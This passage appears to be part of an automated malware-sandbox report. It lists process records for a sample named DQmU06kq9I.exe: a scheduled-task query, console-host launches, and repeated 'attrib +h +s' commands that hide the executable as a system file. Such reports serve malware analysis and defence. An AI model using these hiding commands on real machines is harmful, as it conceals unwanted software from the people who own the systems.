Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	32
Start time:	04:22:18
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):
Commandline:	"schtasks" /Query /TN "DQmU06kq9I"
Imagebase:
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	33
Start time:	04:22:19
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	34
Start time:	04:22:19
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	35
Start time:	04:22:20
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	36
Start time:	04:22:20
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	37
Start time:	04:22:29
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	38
Start time:	04:22:29
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	39
Start time:	04:22:32
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	04:22:32
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	41
Start time:	04:22:37
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	42
Start time:	04:22:38
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	43
Start time:	04:22:39
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	44
Start time:	04:22:56
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false